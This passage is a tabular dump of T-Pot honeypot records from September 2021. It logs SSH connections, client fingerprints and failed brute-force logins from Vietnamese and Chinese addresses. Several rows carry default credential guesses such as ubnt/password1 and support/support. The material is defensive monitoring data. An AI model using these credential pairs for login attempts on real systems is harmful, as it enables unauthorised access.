"dest_ip": "192.168.20.116", "flow_id": 809186526359829, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 33318, "dest_port": 22, "timestamp": "2021-09-20T11:07:34.338795Z", "@timestamp": "2021-09-20T11:07:34.338Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23527	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:34.653565+03	2021-09-20 14:15:07.62247+03	{"_id": "fwbjAnwBvYTbRNuEyQwR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 348349420445278, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 37256, "dest_port": 22, "timestamp": "2021-09-20T11:07:34.653565Z", "@timestamp": "2021-09-20T11:07:34.653Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23528	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:34.774778+03	2021-09-20 14:15:07.623471+03	{"_id": "gQbjAnwBvYTbRNuEygxK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:54152 (192.168.176.2:22) [session: 9641221de2c8]", "session": "9641221de2c8", "@version": "1", "protocol": "ssh", "src_port": 54152, "dest_port": 22, "timestamp": "2021-09-20T11:07:34.774778Z", "@timestamp": "2021-09-20T11:07:34.774Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23529	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:34.339177+03	2021-09-20 14:15:07.624473+03	{"_id": "ggbjAnwBvYTbRNuEygxK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33318, "dest_port": 22, "timestamp": "2021-09-20T11:07:34.339177", "@timestamp": "2021-09-20T11:07:34.339Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23530	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:34.278083+03	2021-09-20 14:15:07.62647+03	{"_id": "gwbjAnwBvYTbRNuEygxK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [server/server] failed", "session": "51582960f84d", "@version": "1", "password": "server", "username": "server", "timestamp": "2021-09-20T11:07:34.278083Z", "@timestamp": "2021-09-20T11:07:34.278Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23531	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:34.436168+03	2021-09-20 14:15:07.627472+03	{"_id": "hAbjAnwBvYTbRNuEygxK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [support/support] failed", "session": "3545713b3f89", "@version": "1", "password": "support", "username": "support", "timestamp": "2021-09-20T11:07:34.436168Z", "@timestamp": "2021-09-20T11:07:34.436Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23532	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:34.552836+03	2021-09-20 14:15:07.628472+03	{"_id": "hQbjAnwBvYTbRNuEygxK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [min/admin] failed", "session": "39dfc0d2db48", "@version": "1", "password": "admin", "username": "min", "timestamp": "2021-09-20T11:07:34.552836Z", "@timestamp": "2021-09-20T11:07:34.552Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23533	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:34.800721+03	2021-09-20 14:15:07.629472+03	{"_id": "hgbjAnwBvYTbRNuEygxK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [ubnt/password1] failed", "session": "01e011b1645c", "@version": "1", "password": "password1", "username": "ubnt", "timestamp": "2021-09-20T11:07:34.800721Z", "@timestamp": "2021-09-20T11:07:34.800Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23534	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:07:34.993506+03	2021-09-20 14:15:07.63147+03	{"_id": "hwbjAnwBvYTbRNuEygxK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "de7faa434b15", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:07:34.993506Z", "@timestamp": "2021-09-20T11:07:34.993Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23535	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:07:35.25615+03	2021-09-20 14:15:07.63247+03	{"_id": "iAbjAnwBvYTbRNuEygxK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "de7faa434b15", "@version": "1", "timestamp": "2021-09-20T11:07:35.256150Z", "@timestamp": "2021-09-20T11:07:35.256Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23536	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:07:34.991344+03	2021-09-20 14:15:07.63347+03	{"_id": "mwbjAnwBvYTbRNuEygyN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:30558 (192.168.176.2:22) [session: de7faa434b15]", "session": "de7faa434b15", "@version": "1", "protocol": "ssh", "src_port": 30558, "dest_port": 22, "timestamp": "2021-09-20T11:07:34.991344Z", "@timestamp": "2021-09-20T11:07:34.991Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23537	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:34.339883+03	2021-09-20 14:15:07.63447+03	{"_id": "jAbjAnwBvYTbRNuEygyL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "dedbc5d5098d", "@version": "1", "timestamp": "2021-09-20T11:07:34.339883Z", "@timestamp": "2021-09-20T11:07:34.339Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23538	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:34.905993+03	2021-09-20 14:15:07.636489+03	{"_id": "jQbjAnwBvYTbRNuEygyL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9641221de2c8", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:34.905993Z", "@timestamp": "2021-09-20T11:07:34.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23539	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:34.922067+03	2021-09-20 14:15:07.637471+03	{"_id": "owbjAnwBvYTbRNuEygyN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f368b5b5ef57", "@version": "1", "duration": 2.960012912750244, "timestamp": "2021-09-20T11:07:34.922067Z", "@timestamp": "2021-09-20T11:07:34.922Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23540	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:35.184316+03	2021-09-20 14:15:07.638471+03	{"_id": "pAbjAnwBvYTbRNuEygyN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [installer/installer] failed", "session": "509dac389da3", "@version": "1", "password": "installer", "username": "installer", "timestamp": "2021-09-20T11:07:35.184316Z", "@timestamp": "2021-09-20T11:07:35.184Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23541	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:36.34528+03	2021-09-20 14:15:07.640471+03	{"_id": "BQbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:59246 (192.168.176.2:22) [session: 62e295461db8]", "session": "62e295461db8", "@version": "1", "protocol": "ssh", "src_port": 59246, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.345280Z", "@timestamp": "2021-09-20T11:07:36.345Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23542	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:36.96781+03	2021-09-20 14:15:07.641471+03	{"_id": "BgbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:58398 (192.168.176.2:22) [session: 614f4ac7b02e]", "session": "614f4ac7b02e", "@version": "1", "protocol": "ssh", "src_port": 58398, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.967810Z", "@timestamp": "2021-09-20T11:07:36.967Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
